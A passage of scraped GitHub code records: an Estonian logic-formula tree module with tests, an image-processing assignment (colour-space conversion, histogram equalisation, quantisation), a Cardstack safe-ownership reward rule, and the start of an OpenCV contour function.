LRid_sabaga[i_LR][-2].LRid[LRid_sabaga[i_LR][-2].LRid.index(LRid_sabaga[i_LR][-1])]=LV(juurde_tekitatud_harud)\n Tree_Visualize(kaadrid)\n return False\n def __bool__(self):\n if not self.mitte_ÜV():\n return False\n elif not (~self).mitte_ÜV():\n return True\n else:\n raise Exception(\"Unknown if true or false.\")\n @staticmethod\n def _asenduste_valikud(võimalikke_väärtusi):\n num=[]\n for i in võimalikke_väärtusi:\n if i==None:\n num.append(-1)\n else:\n num.append(0)\n while True:\n yield num\n for i in range(0,len(võimalikke_väärtusi)):\n if num[i]==võimalikke_väärtusi[i]:\n num[i]=0\n elif võimalikke_väärtusi[i]!=None:\n num[i]+=1\n break\n else:\n return\n @staticmethod\n def _jaota_osadesse(boolean_väide):\n boolean_väide=to_dnf(boolean_väide.simplify(),True)\n if type(boolean_väide)==Or:\n boolean_väide=boolean_väide.args\n elif boolean_väide==True:\n yield ({},[],[])\n return\n elif boolean_väide==False:\n return\n else:\n boolean_väide=[boolean_väide]\n #print(\"järjend omavahel ORiga eraldatud olnud osadest:\",boolean_väide)\n for dnf_element in boolean_väide:\n if type(dnf_element)==And:\n sisu=dnf_element.make_args(dnf_element)\n else:\n sisu=[dnf_element]\n predikaadid={}\n eitatud_Ed=[]\n Ed=[]\n #print(\"järjend omavahel ANDiga eraldatud olnud osadest:\",sisu)\n for jaatuse_element in sisu:\n tüüp=type(jaatuse_element)\n if tüüp==E:\n Ed.append(jaatuse_element)\n elif tüüp==Not:\n if type(jaatuse_element._args[0])==E:\n eitatud_Ed.append(jaatuse_element._args[0])\n else:\n assert type(jaatuse_element._args[0])==Predikaat_väide\n predikaadid[jaatuse_element._args[0]]=False\n else:\n assert tüüp==Predikaat_väide\n predikaadid[jaatuse_element]=True\n yield (predikaadid,eitatud_Ed,Ed)\n @staticmethod\n def koosta_puu(seos, k=0):\n sisemised_kvantorid=[]\n sisemiste_kvantorite_võitatud_vormid=[]\n for sisemine_kvantor in seos.atoms():\n if type(sisemine_kvantor)==E:\n sisemised_kvantorid.append(sisemine_kvantor)\n vv=LV.koosta_puu(sisemine_kvantor.sisu,k+1)\n if not vv:#todo: kas on vaja\n vv=[False]\n sisemiste_kvantorite_võitatud_vormid.append(vv)\n #print(seos, \" :sisemiste_kvantorite_võitatud_vormid:\", sisemiste_kvantorite_võitatud_vormid)\n #print(\"type:\", t2ype(seos), \"; plato:\", seos, \";\")\n võitatud_vormid=[]\n for sisemise_võituse_elemendi_p_osa,sisemise_võituse_elemendi_u_osa,sisemise_võituse_elemendi_e_osa in LV._jaota_osadesse(seos):\n #print(\"osa:\",sisemise_võituse_elemendi_p_osa,sisemise_võituse_elemendi_u_osa,sisemise_võituse_elemendi_e_osa)\n for i_sisemine_kvantor in range(len(sisemise_võituse_elemendi_u_osa)):#teeb asendused U-osas.\n #TODO:PEAB need üheks kvantoriks ühendama, et saaks teada, kas midagi saab kõrgemalt alla poole tuua.\n eitatud_ek=sisemise_võituse_elemendi_u_osa.pop(0)\n #print(\" eitatud kvantor:\",eitatud_ek)\n for variant in sisemiste_kvantorite_võitatud_vormid[sisemised_kvantorid.index(eitatud_ek)]:\n sisemise_võituse_elemendi_u_osa.append(variant)\n sisemise_võituse_elemendi_u_osa[-1].märk=False\n #print(\" u-ossa lisada:\",variant,\" ; TÜÜP=\",type(variant))\n asenduste_valik=[None]*len(sisemised_kvantorid)\n for sisemine_kvantor in sisemise_võituse_elemendi_e_osa:#määrab, et kui palju variante kui mitmenda kvantori asendamiseks E-osas on.\n i=sisemised_kvantorid.index(sisemine_kvantor)\n asenduste_valik[i]=len(sisemiste_kvantorite_võitatud_vormid[i])-1\n for asenduste_valik in LV._asenduste_valikud(asenduste_valik):\n välimise_võituse_elemendi_e_osa=[]\n for i in range(len(asenduste_valik)):#TODO: asendada ainult muutunud indeksitega(asenduste valikus) kvantorid.\n if asenduste_valik[i]!=-1:#kõik ja ainult U'd asendatakse mingi Plato'e või predikaatide vahelise booleanseosega.\n #print(\" asendada:\",sisemised_kvantorid[i],\":\",sisemiste_kvantorite_võitatud_vormid[i][asenduste_valik[i]])\n välimise_võituse_elemendi_e_osa.append(deepcopy(sisemiste_kvantorite_võitatud_vormid[i][asenduste_valik[i]]))\n võitatud_vormid.append(Tipp(sisemise_võituse_elemendi_p_osa,välimise_võituse_elemendi_e_osa+sisemise_võituse_elemendi_u_osa,True))\n #print(\" võitatud vormid:\",võitatud_vormid)\n return võitatud_vormid\n def visualiseeri_puuna(self):\n Tree_Visualize([self])\n\n\n\nclass Test:\n def __init__(self,sisend,puu_str,bool=\"?\"):\n self.sisend=sisend\n self.puu_str=puu_str\n self.bool=bool\n# def test(self):\n# return self.puu_str_test and self.bool_test\n def puu_str_test(self):\n lv=LV(self.sisend)\n arvutatud_puu_str=str(lv)\n if arvutatud_puu_str!=self.puu_str:\n print(\"Puu valesti koostatud.\")\n print(\"SISEND :\",self.sisend)\n print(\"TULEMUS:\",arvutatud_puu_str)\n print(\"OODATUD:\",self.puu_str)\n print()\n return False\n return True\n def bool_test(self):\n lv = LV(self.sisend)\n try:\n arvutatud_bool=bool(lv)\n except Exception as e:\n if e.args!=\"Unknown if true or false.\":\n raise e\n arvutatud_bool=None\n if arvutatud_bool!=self.bool and self.bool!=\"?\":\n print(\"ÜVsus või ÜTsus valesti määratud\")\n print(\"SISEND :\", self.sisend)\n print(\"TULEMUS:\", arvutatud_bool)\n print(\"OODATUD:\", self.bool)\n print()\n return(False)\n return(True)\n def bool_test_2(self,vastaja):\n try:\n arvutatud_bool = vastaja(self.sisend)\n except Exception as e:\n if e.args[0]==\"z3 ei oska lahendad\":\n print(\"z3 ei oska kontrollida!\")\n print(\"SISEND :\", self.sisend)\n print(\"OODATUD:\", self.bool)\n print()\n return False\n elif e.args[0] != \"Unknown if true or false.\":\n raise e\n arvutatud_bool = None\n if arvutatud_bool != self.bool and self.bool != \"?\":\n print(\"ÜVsus või ÜTsus valesti määratud\")\n print(\"SISEND :\", self.sisend)\n print(\"TULEMUS:\", arvutatud_bool)\n print(\"OODATUD:\", self.bool)\n print()\n return (False)\n return (True)\nA=Predikaat(\"A\")\nB=Predikaat(\"B\")\nC=Predikaat(\"C\")\n#print(koosta_puu(E(A(1) & A(1, 1) & E(A(1, 2) & E(A(2, 3) & A(3, 1))))))\n\nM=Predikaat(\"x1’le meeldib x2\")\non_mari = Predikaat(\"x1 on mari\")\n\non_null=Predikaat(\"on_null\")\nvõrdne=Predikaat(\"võrdne\")\ntests=[\n #jaatatud haru E(A(1,1)) sisse tuleb lisada jaatatud märgiga E(A(1,2)&A(2,2)), et eitatud ja laiendatud haru sisud vastuollu läheks.\n Test(~E(A(1,1)&~E(A(1,2)&A(2,2)))&E(A(1,1))&E(B(1,1)),\"¬∃(A(1,1) & ¬∃(A(1,2) & A(2,2))) & ∃(A(1,1)) & ∃(B(1,1))\",None),\n\n #jaatatud haru E(A(1,1) sisse tuleb lisada ~B(1,1) , E(A(1,2)&A(2,2)) või E(~B(2,1)&B(2,2)), et eitatud ja laiendatud haru sisud vastuollu läheks.\n Test(~E(A(1,1)&B(1,1)&~E(A(1,2)&A(2,2))&E(~B(2,1)&B(2,2)))&E(A(1,1)),\"¬∃(A(1,1) & ¬∃(A(1,2) & A(2,2))) & ∃(A(1,1))\",None),\n\n #vist O'ga ÜV kontroll annab vale tulemuse (tegelt ÜV).\n Test(E(~A(1,1)&E(A(1,2)&~A(2,1)&~A(2,2)&E(~A(1,3)&A(2,3)&~A(3,1)&~A(3,2)&~A(3,3))&E(~A(1,3)&A(2,3)&~A(3,1)&~A(3,2)&A(3,3))))&~E(~A(1,1)&E(~A(1,2)&A(2,1)&~A(2,2)&E(A(1,3)&~A(2,3)&~A(3,1)&~A(3,2)&~A(3,3))&E(A(1,3)&~A(2,3)&~A(3,1)&~A(3, 2) &A(3,3)))),\"¬∃(¬A(1,1) & ∃(¬A(1,2) & A(2,1) & ¬A(2,2) & ∃(A(1,3) & ¬A(2,3) & ¬A(3,1) & ¬A(3,2) & ¬A(3,3)) & ∃(A(1,3) & ¬A(2,3) & ¬A(3,1) & ¬A(3,2) & A(3,3)))) & ∃(¬A(1,1) & ∃(A(1,2) & ¬A(2,1) & ¬A(2,2) & ∃(¬A(1,3) & A(2,3) & ¬A(3,1) & ¬A(3,2) & ¬A(3,3)) & ∃(¬A(1,3) & A(2,3) & ¬A(3,1) & ¬A(3,2) & A(3,3))))\",False),\n\n #ÜV: P1=[1,3]\n #kuna A(1,1) on eitatud harus määramata, siis jaatatus harus predikaatväited x1'ega pole siin olulised.\n Test(~E(~A(1,1)&E(~A(2,2)&A(1,2)&A(2,1)))&~E(A(1,1)&E(A(2,2)&A(1,2)&~A(2,1)))&~E(~A(1,1)&E(~A(2,2)&~A(1,2)&~A(2,1)))& E(E(~A(2,2)&A(1,2)&A(2,1))&E(A(2,2)&~A(1,2)&E(A(3,3)&~A(3,2)&~A(2,3)&A(1,3)&A(3,1))&E(~A(3,3)&A(3,2)&A(2,3)&~A(1,3)&~A(3,1)&E(A(4,4)&A(2,4)&~A(4,2)&~A(1,4)&A(4,1))))),\"¬∃(¬A(1,1) & ∃(¬A(1,2) & ¬A(2,1) & ¬A(2,2))) & ¬∃(¬A(1,1) & ∃(A(1,2) & A(2,1) & ¬A(2,2))) & ¬∃(A(1,1) & ∃(A(1,2) & ¬A(2,1) & A(2,2))) & ∃(∃(¬A(1,2) & A(2,2) & ∃(¬A(1,3) & A(2,3) & ¬A(3,1) & A(3,2) & ¬A(3,3) & ∃(¬A(1,4) & A(2,4) & A(4,1) & ¬A(4,2) & A(4,4))) & ∃(A(1,3) & ¬A(2,3) & A(3,1) & ¬A(3,2) & A(3,3))) & ∃(A(1,2) & A(2,1) & ¬A(2,2)))\",False),\n\n # [kõigil, kes Marile meeldivad,[ei ole kedagi kes Marile meeldiks, aga temale mitte ja kellele meeldiks Mari] või [ei ole kedagi, kes nii talle kui Marile meeldiks] või [on keegi, kes neile meeldib ja kes iseendale meeldib]] ja\n # ja leidub keegi, kes meeldib marile, nii, et eksisteerib [keegi, kes meeldib nii marile kui talle] ja [keegi, kes meeldib marile, kellele mari meeldib ja kelle ei meeldi talle] ja ei leidu kedagi, kes nii iseendale kui ka talle ta meeldiks\n # või [on keegi(x_1) kes endale meeldib, aga [kellel pole kedagi kes nii talle kui iseendale meeldiks ja kellele meeldiks tema(x_1)]]\n Test(E(on_mari(1) & ~E(M(1, 2) & E(M(1, 3) & ~M(2, 3) & M(3, 1)) & E(M(1, 3) & M(2, 3)) & ~E(M(2, 3) & M(3, 3))))&E(E(on_mari(2)&M(2,1)&E(M(1,3)&M(2,3))&E(M(2,3)&M(3,2)&~M(1,3)))&~E(M(2,1)&M(2,2)))| E(M(1,1)&~E(M(1,2)&M(2,2)&M(2,1))),\"∃(¬∃(x1’le meeldib x2(2,1) & x1’le meeldib x2(2,2)) & ∃(x1 on mari(2) & x1’le meeldib x2(2,1) & ∃(¬x1’le meeldib x2(1,3) & x1’le meeldib x2(2,3) & x1’le meeldib x2(3,2)) & ∃(x1’le meeldib x2(1,3) & x1’le meeldib x2(2,3)))) & ∃(x1 on mari(1) & ¬∃(x1’le meeldib x2(1,2) & ¬∃(x1’le meeldib x2(2,3) & x1’le meeldib x2(3,3)) & ∃(x1’le meeldib x2(1,3) & ¬x1’le meeldib x2(2,3) & x1’le meeldib x2(3,1)) & ∃(x1’le meeldib x2(1,3) & x1’le meeldib x2(2,3)))) | ∃(x1’le meeldib x2(1,1) & ¬∃(x1’le meeldib x2(1,2) & x1’le meeldib x2(2,1) & x1’le meeldib x2(2,2)))\",None),\n\n #sellest on failis pilt:\n Test(E(~A(1,1)&~E(E(~A(3,2)&~A(1,3))&~A(2, 2)&A(2,1)&E(~A(2,3) & A(3,2)&~A(3,3)&E(A(1,4)&A(2,4)&~A(3,4)&~A(4,2)&~A(4,3)&A(4,4))))&E(~A(2,2)&A(2,1)&E(~A(3,3)&A(3,1)&A(2,3)&~A(3,2)&E(~A(4,3)&~A(1,4)&A(2,4))&E(A(4,4)&~A(4,2)&~A(2,4)&~A(4,3)&A(3,4)&~A(2,4)&A(1,4)&~A(4,1))))),\"∃(¬A(1,1) & ¬∃(A(2,1) & ¬A(2,2) & ∃(¬A(1,3) & ¬A(3,2)) & ∃(¬A(2,3) & A(3,2) & ¬A(3,3) & ∃(A(1,4) & A(2,4) & ¬A(3,4) & ¬A(4,2) & ¬A(4,3) & A(4,4)))) & ∃(A(2,1) & ¬A(2,2) & ∃(A(2,3) & A(3,1) & ¬A(3,2) & ¬A(3,3) & ∃(¬A(1,4) & A(2,4) & ¬A(4,3)) & ∃(A(1,4) & ¬A(2,4) & A(3,4) & ¬A(4,1) & ¬A(4,2) & ¬A(4,3) & A(4,4)))))\",False),\n\n #pilt sellest failis:\n Test(E(~A(1, 1) & E(A(1, 2) & ~A(2, 1) & ~A(2, 2))) & ~E(E(~A(2,1))&~A(1, 1) & E(~A(1, 2) & A(2, 1) & ~A(2, 2)&E(A(1, 3) & ~A(2, 3) & ~A(3, 1) & ~A(3, 2) & A(3, 3)))),\"¬∃(¬A(1,1) & ∃(¬A(1,2) & A(2,1) & ¬A(2,2) & ∃(A(1,3) & ¬A(2,3) & ¬A(3,1) & ¬A(3,2) & A(3,3))) & ∃(¬A(2,1))) & ∃(¬A(1,1) & ∃(A(1,2) & ¬A(2,1) & ¬A(2,2)))\",None),\n\n Test(~E(A(1)&B(1)&C(1)),\"¬∃(A(1) & B(1) & C(1))\",None),\n Test((E(~A(1,1)&B(1))|E(C(1)&E(A(1,2)|A(2,1)&E(E(E(A(5,1)|A(5,3))))))),\"∃(B(1) & ¬A(1,1)) | ∃(C(1) & ∃(A(1,2))) | ∃(C(1) & ∃(A(2,1) & ∃(∃(∃(A(5,1)))))) | ∃(C(1) & ∃(A(2,1) & ∃(∃(∃(A(5,3))))))\"),\n Test(~E(A(1)&A(2)),\"¬∃(A(1) & A(2))\",None),\n Test(~E(A(1,1) | B(1) & C(1)) & E(A(1,1) & A(1) & E(A(2,1))),\"¬∃(B(1) & C(1)) & ¬∃(A(1,1)) & ∃(A(1) & A(1,1) & ∃(A(2,1)))\",False),\n Test(E(A(1,1))&E(A(1,1)>>E(A(1,2)&~E(A(1,3)|A(3,1)&~E(A(1,1)&A(2,1))))),\"∃(∃(A(1,2) & ¬∃(A(1,3)) & ¬∃(A(3,1) & ¬∃(A(1,1) & A(2,1))))) & ∃(A(1,1)) | ∃(¬A(1,1)) & ∃(A(1,1))\"),\n Test(E(E(E(võrdne(1,2)&on_null(1)&on_null(2)))),\"∃(∃(∃(on_null(1) & võrdne(1,2) & on_null(2))))\",None),\n Test(~E(B(1)<>(~A(1, 2)&A(2, 1))))),\"∃(A(1,1) & ¬∃(A(1,2) & A(2,2)) & ¬∃(¬A(2,1) & A(2,2)))\",False),\n Test(E(E(E(E(A(1,2,3,4)|~B(1,3,4,2)|C(1))))),\"∃(∃(∃(∃(C(1))))) | ∃(∃(∃(∃(A(1,2,3,4))))) | ∃(∃(∃(∃(¬B(1,3,4,2)))))\",None),\n\n\n Test(E(~A(1))&E(A(1)),\"∃(¬A(1)) & ∃(A(1))\",None),\n\n #etuatud kvantor tühi:\n Test(E(A(1,1)&E(A(2,1)&~A(1,2)&~E(A(3,2)&A(3,1)))),\"∃(A(1,1) & ∃(¬A(1,2) & A(2,1) & ¬∃(A(3,1) & A(3,2))))\",None),\n\n Test(E(A(1))&E(A(1)|B(1)),\"∃(A(1)) & ∃(A(1)) | ∃(A(1)) & ∃(B(1))\",None),\n ]\nif \"tests\" in argv:\n\n PEANO=E(on_null(1))&\\\n ~E(~võrdne(1,1))&\\\n ~E(E(E(~((võrdne(1,2)&võrdne(2,3))>>võrdne(3,1)))))\n #peano_puu=LV(PEANO).mitte_ÜV()\n #print(\"Peano tulem:\", peano_puu)\n #print(\"\\n#####\\n\")\n\n\n for test in tests:\n test.puu_str_test()\n test.bool_test()\n\n #BUG:\n #assert (LV(U(A(1,1)&U(A(2,2)&~A(1,2)&~A(2,1))&E(A(2,2)&~A(1,2)&~A(2,1)))&E(A(1,1)&U(A(2,2)&~A(1,2)&~A(2,1))&E(A(2,2)&~A(1,2)&~A(2,1)))).mitte_ÜV())#tegelt ÜV?\n\n #BUG:\n #LV(~E(E(E(A(1,2,3)))&A(1,1,1)|E(~A(2,2,1)|~A(1,1,2)&~E(A(3,3,3)&A(3,2,1)))|E(A(2,2,2)&~A(2,1,2)&A(2,2,1))&E(A(2,1,2)&A(2,2,1)|~A(2,2,2)&A(2,1,1)|E(A(3,2,3)&A(3,1,3))))).mitte_ÜV()\n\n #BUG:\n #LV(~E(E(E(A(1,2,3)))&A(1,1,1)|E(~A(1,1,2)&~E(A(3,3,3)&A(3,2,1)))|E(A(2,2,2)&~A(2,1,2)&A(2,2,1))&E(A(2,1,2)&A(2,2,1)))).mitte_ÜV()\nif \"z3_tests\" in argv:\n print(3)","repo_name":"Olle7/v-idete-algoritmiline-anal-simine","sub_path":"implementatsioon programmina/seos.py","file_name":"seos.py","file_ext":"py","file_size_in_byte":50810,"program_lang":"python","lang":"et","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"29654088904","text":"\"\"\"\r\n '########:'##::::'##::::'##:::\r\n ##.....::. ##::'##:::'####:::\r\n ##::::::::. ##'##::::.. ##:::\r\n ######:::::. ###::::::: ##:::\r\n ##...:::::: ## ##:::::: ##:::\r\n ##:::::::: ##:. ##::::: ##:::\r\n ########: ##:::. ##::'######:\r\n ........::..:::::..:::......::\r\n\"\"\"\r\nfrom typing import List\r\nimport numpy as np\r\nimport numpy.ma as mat\r\nimport matplotlib.pyplot as plt\r\nimport cv2 as cv\r\n\r\nimport numpy as np\r\nERROR_MSG = \"Error: the given image has wrong dimensions\"\r\nLOAD_GRAY_SCALE = 1\r\nLOAD_RGB = 2\r\n\r\n\r\ndef myID() -> np.int:\r\n \"\"\"\r\n Return my ID (not the friend's ID I copied from)\r\n :return: int\r\n \"\"\"\r\n return 205839400\r\n\r\n\r\ndef imReadAndConvert(filename: str, representation: int) -> np.ndarray:\r\n \"\"\"\r\n Reads an image, and returns the image converted as requested\r\n :param filename: The path to the image\r\n :param representation: GRAY_SCALE or RGB\r\n :return: The image object\r\n \"\"\"\r\n # Loading an image\r\n img = cv.imread(filename)\r\n if img is not None:\r\n if representation == LOAD_GRAY_SCALE:\r\n img = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\r\n elif representation == LOAD_RGB:\r\n # We weren't asked to convert a grayscale image to RGB so this will suffice\r\n img = cv.cvtColor(img, cv.COLOR_BGR2RGB)\r\n else: # Any other value was entered as the second parameter\r\n raise ValueError(ERROR_MSG)\r\n else:\r\n raise Exception(\"Could not read the image! Please try again.\")\r\n return img / 255.0\r\n\r\n\r\ndef imDisplay(filename: str, representation: int):\r\n \"\"\"\r\n Reads an image as RGB or GRAY_SCALE and displays it\r\n :param filename: The path to the image\r\n :param representation: GRAY_SCALE or RGB\r\n :return: None\r\n \"\"\"\r\n img = imReadAndConvert(filename, representation)\r\n plt.imshow(img)\r\n plt.show()\r\n\r\n\r\ndef transformRGB2YIQ(imgRGB: np.ndarray) -> np.ndarray:\r\n \"\"\"\r\n Converts an RGB image to YIQ color space\r\n :param imgRGB: An Image in RGB\r\n :return: A YIQ in image color space\r\n \"\"\"\r\n yiq_from_rgb = np.array([[0.299, 0.587, 0.114],\r\n [0.596, -0.275, -0.321],\r\n [0.212, -0.523, 0.3111]])\r\n OrigShape = imgRGB.shape\r\n return np.dot(imgRGB.reshape(-1, 3), yiq_from_rgb.transpose()).reshape(OrigShape)\r\n\r\n pass\r\n\r\n\r\ndef transformYIQ2RGB(imgYIQ: np.ndarray) -> np.ndarray:\r\n \"\"\"\r\n Converts an YIQ image to RGB color space\r\n :param imgYIQ: An Image in YIQ\r\n :return: A RGB in image color space\r\n \"\"\"\r\n # taking sizes of input to make a new image\r\n yiq_from_rgb = np.array([[0.299, 0.587, 0.114],\r\n [0.596, -0.275, -0.321],\r\n [0.212, -0.523, 0.3111]])\r\n OrigShape = imgYIQ.shape\r\n return np.dot(imgYIQ.reshape(-1, 3), np.linalg.inv(yiq_from_rgb).transpose()).reshape(OrigShape)\r\n\r\n pass\r\n\r\n\r\n\r\n\r\ndef hsitogramEqualize(imgOrig: np.ndarray) -> (np.ndarray, np.ndarray, np.ndarray):\r\n \"\"\"\r\n Equalizes the histogram of an image\r\n :param imgOrig: Original Histogram\r\n :ret\r\n \"\"\"\r\n\r\n is_rgb = False\r\n # RGB image procedure should only operate on the Y chanel\r\n if len(imgOrig.shape) == 3:\r\n is_rgb = True\r\n yiq_image = transformRGB2YIQ(np.copy(imgOrig))\r\n imgOrig = yiq_image[:, :, 0]\r\n # change range grayscale or RGB image to be equalized having values in the range [0, 1]\r\n imgOrig = cv.normalize(imgOrig, None, 0, 255, cv.NORM_MINMAX)\r\n imgOrig = imgOrig.astype('uint8')\r\n # the histogram of the original image\r\n histOrg = np.histogram(imgOrig.flatten(), 256)[0]\r\n # Calculate the normalized Cumulative Sum (CumSum)\r\n cumsum = np.cumsum(histOrg)\r\n # Create a LookUpTable(LUT)\r\n LUT = np.floor((cumsum / cumsum.max()) * 255)\r\n # Replace each intesity i with LUT[i] and Return an array of zeros with the same shape and type as a given array.\r\n imEq = np.zeros_like(imgOrig, dtype=float)\r\n for x in range(256):\r\n imEq[imgOrig == x] = int(LUT[x])\r\n # Calculate the new image histogram (range = [0, 255])\r\n histEQ = np.zeros(256)\r\n for val in range(256):\r\n # Counts the number of non-zero values in the array.\r\n histEQ[val] = np.count_nonzero(imEq == val)\r\n\r\n # norm imgEQ from range [0, 255] to range [0, 1]\r\n imEq = imEq / 255.0\r\n\r\n if is_rgb:\r\n # If an RGB image is given the following equalization procedure should only operate on the Y channel of the corresponding YIQ image and then convert back from YIQ to RGB.\r\n yiq_image[:, :, 0] = imEq / (imEq.max() - imEq.min())\r\n imEq = transformYIQ2RGB(np.copy(yiq_image))\r\n return imEq, histOrg, histEQ\r\n\r\n\r\n\r\ndef quantizeImage(imOrig: np.ndarray, nQuant: int, nIter: int) -> (List[np.ndarray], List[float]):\r\n \"\"\"\r\n Quantized an image in to **nQuant** colors\r\n :param imOrig: The original image (RGB or Gray scale)\r\n :param nQuant: Number of colors to quantize the image to\r\n :param nIter: Number of optimization loops\r\n :return: (List[qImage_i],List[error_i])\r\n \"\"\"\r\n#check input\r\n if imOrig is None:\r\n raise Exception(\"Error: imOrig is None!\")\r\n if nQuant > 256:\r\n raise ValueError(\"nQuant is greater then 256!\")\r\n if nIter < 0:\r\n raise ValueError(\"Number of optimization loops must be a positive number!\")\r\n\r\n # handle&check RGB images\r\n flagRGB = False\r\n if len(imOrig.shape) is 3: # RGB image\r\n flagRGB = True\r\n imgYIQ = transformRGB2YIQ(imOrig) # transform to YIQ color space\r\n imOrig = imgYIQ[:, :, 0] # y-channel\r\n\r\n imgOrigInt = (imOrig * 255).astype(\"uint8\")\r\n # find the histogram of the original image\r\n histOrig, _ = np.histogram(imgOrigInt.flatten(), 256, range=(0, 255))\r\n\r\n MSE_error_list = [] # errors array\r\n q_img_lst = [] # contains all the encoded images\r\n global intensities, z, q\r\n\r\n for j in range(nIter):\r\n encodeImg = imgOrigInt.copy()\r\n # Finding z - the values that each of the segments intensities will map to.\r\n if j is 0: # first iteration INIT z\r\n z = np.arange(0, 255 - int(256 / nQuant) + 1, int(256 / nQuant))\r\n z = np.append(z, 255)\r\n intensities = np.array(range(256))\r\n else: # not the first iteration\r\n for r in range(1, len(z) - 2):\r\n #formula\r\n new_z_r = int((q[r - 1] + q[r]) / 2)\r\n if new_z_r != z[r - 1] and new_z_r != z[r + 1]: # to avoid division by 0\r\n z[r] = new_z_r\r\n\r\n # Finding q - the values that each of the segments intensities will map to.\r\n q = np.array([], dtype=np.float64)\r\n for i in range(len(z) - 1):\r\n mask_pix = np.logical_and((z[i] < encodeImg), (encodeImg < z[i + 1])) # the current cluster\r\n if i is not (len(z) - 2):\r\n # calculate weighted mean\r\n if sum(histOrig[z[i]:z[i + 1]]) != 0:\r\n q = np.append(q, np.average(intensities[z[i]:z[i + 1]], weights=histOrig[z[i]:z[i + 1]]))\r\n else: # to avoid division by 0\r\n q = np.append(q, np.average(intensities[z[i]:z[i + 1]], weights=histOrig[z[i]:z[i + 1]] + 0.001))\r\n encodeImg[mask_pix ] = int(q[i]) # apply the changes to the encoded image\r\n\r\n else: # i is len(z)-2 , add 255\r\n # calculate weighted mean\r\n if sum(histOrig[z[i]:z[i + 1]]) != 0:\r\n q = np.append(q, np.average(intensities[z[i]:z[i + 1] + 1], weights=histOrig[z[i]:z[i + 1] + 1]))\r\n else: # to avoid division by 0\r\n q = np.append(q, np.average(intensities[z[i]:z[i + 1] + 1],\r\n weights=histOrig[z[i]:z[i + 1] + 1] + 0.001))\r\n encodeImg[mask_pix ] = int(q[i]) # apply the changes on the encoded image\r\n\r\n MSE_error_list.append((np.square(np.subtract(imgOrigInt, encodeImg))).mean()) # calculate error\r\n encodeImg = encodeImg / 255 # normalize to range [0,1]\r\n\r\n if flagRGB: # RGB image\r\n imgYIQ[:, :, 0] = encodeImg.copy() # modify y channel\r\n encodeImg = transformYIQ2RGB(imgYIQ) # transform back to RGB\r\n plt.plot(MSE_error_list)\r\n q_img_lst .append(encodeImg)\r\n\r\n # checking whether we have come to convergence\r\n if j > 1 and abs(MSE_error_list[j - 1] - MSE_error_list[j]) < 0.001:\r\n plt.plot(MSE_error_list)\r\n print(\"we have come to convergence after {} iterations!\".format(j + 1))\r\n break\r\n\r\n return q_img_lst , MSE_error_list","repo_name":"KobiSaada/Image-Representations-and-Point-Operations","sub_path":"ex1_utils.py","file_name":"ex1_utils.py","file_ext":"py","file_size_in_byte":8768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"9"} +{"seq_id":"11573135545","text":"from cardpay_reward_programs.rule import Rule\nfrom cardpay_reward_programs.utils import format_amount, get_table_dataset\n\n\nclass SafeOwnership(Rule):\n \"\"\"\n This rule rewards the ownwership of a specific safe type with a fixed reward per safe, with a cap.\n \"\"\"\n\n def __init__(\n self,\n core_parameters,\n user_defined_parameters,\n ):\n super(SafeOwnership, self).__init__(\n core_parameters,\n user_defined_parameters,\n )\n\n def set_user_defined_parameters(\n self,\n reward_per_safe,\n token,\n start_analysis_block,\n safe_type,\n max_rewards,\n ):\n self.token = token\n self.reward_per_safe = int(reward_per_safe)\n self.start_analysis_block = start_analysis_block\n self.safe_type = safe_type\n self.max_rewards = max_rewards\n\n def register_tables(self):\n safe_owner = get_table_dataset(\n self.subgraph_config_locations[\"safe_owner\"], \"safe_owner\"\n )\n self.connection.register(\"safe_owner\", safe_owner)\n\n def sql(self):\n return \"\"\"\n with total_safes as (select\n owner as payee,\n count(distinct safe) as total_safe_count\n from safe_owner\n where _block_number > $1::integer and _block_number <= $2::integer\n and type = $4::text\n group by owner\n ),\n new_safes as (select\n owner as payee,\n count(distinct safe) as new_safe_count\n from safe_owner\n where _block_number > ($2 - $3) and _block_number <= $2::integer\n and type = $4::text\n group by owner\n )\n select new_safes.payee as payee,\n -- Reward is the least out of remaining allowed rewards and the total number of new safes\n least($5 - total_safe_count + new_safe_count, new_safe_count) as payable_safes\n from new_safes\n left join total_safes on total_safes.payee = new_safes.payee\n where payable_safes > 0\n \"\"\"\n\n def run(self, payment_cycle: int, reward_program_id: str):\n self.register_tables()\n vars = [\n self.start_analysis_block,\n payment_cycle,\n self.payment_cycle_length,\n self.safe_type,\n self.max_rewards,\n ]\n df = self.connection.execute(self.sql(), vars).fetch_df()\n df[\"rewardProgramID\"] = reward_program_id\n df[\"paymentCycle\"] = payment_cycle\n df[\"validFrom\"] = payment_cycle\n df[\"validTo\"] = payment_cycle + self.duration\n df[\"token\"] = self.token\n df[\"amount\"] = df[\"payable_safes\"] * self.reward_per_safe\n df[\"explanationData\"] = df.apply(\n lambda row: self.get_explanation_data(\n {\n \"rewardProgramID\": row.rewardProgramID,\n \"payee\": row.payee,\n \"paymentCycle\": row.paymentCycle,\n \"validFrom\": row.validFrom,\n \"validTo\": row.validTo,\n \"amount\": row.amount,\n \"token\": row.token,\n }\n ),\n axis=1,\n )\n df = df.drop([\"payable_safes\"], axis=1)\n return df\n\n def get_explanation_data(self, payment):\n return {\n \"amount\": format_amount(payment[\"amount\"]),\n \"token\": self.token,\n \"safe_type\": self.safe_type,\n }\n","repo_name":"cardstack/cardstack","sub_path":"packages/cardpay-reward-programs/cardpay_reward_programs/rules/safe_ownership.py","file_name":"safe_ownership.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":324,"dataset":"github-code","pt":"9"} +{"seq_id":"4846031963","text":"import cv2 as cv\nimport numpy as np\n\n# find contours\ndef findCountoures(frame, cThr = [100, 100], show = True, minArea = 1000, filter=0, draw=False):\n \n grayFrame = cv.cvtColor(frame, cv.COLOR_BGR2GRAY)\n blurFrame = cv.GaussianBlur(grayFrame, (5,5), 1)\n cannyFrame = cv.Canny(blurFrame,cThr[0], cThr[1])\n\n kernel = np.ones((5,5))\n\n dilateFrame = cv.dilate(cannyFrame, kernel, iterations=3)\n thrsFrame = cv.erode(dilateFrame, kernel, iterations=2)\n\n if show: cv.imshow(\"canny\", thrsFrame)\n\n contours, hiearchy = cv.findContours(thrsFrame, cv.RETR_EXTERNAL, cv.CHAIN_APPROX_SIMPLE)\n\n finalContours = []\n for i in contours:\n area = cv.contourArea(i)\n\n if area > minArea:\n parimeter = cv.arcLength(i, True)\n approx = cv.approxPolyDP(i, 0.02*parimeter, True)\n\n bbox 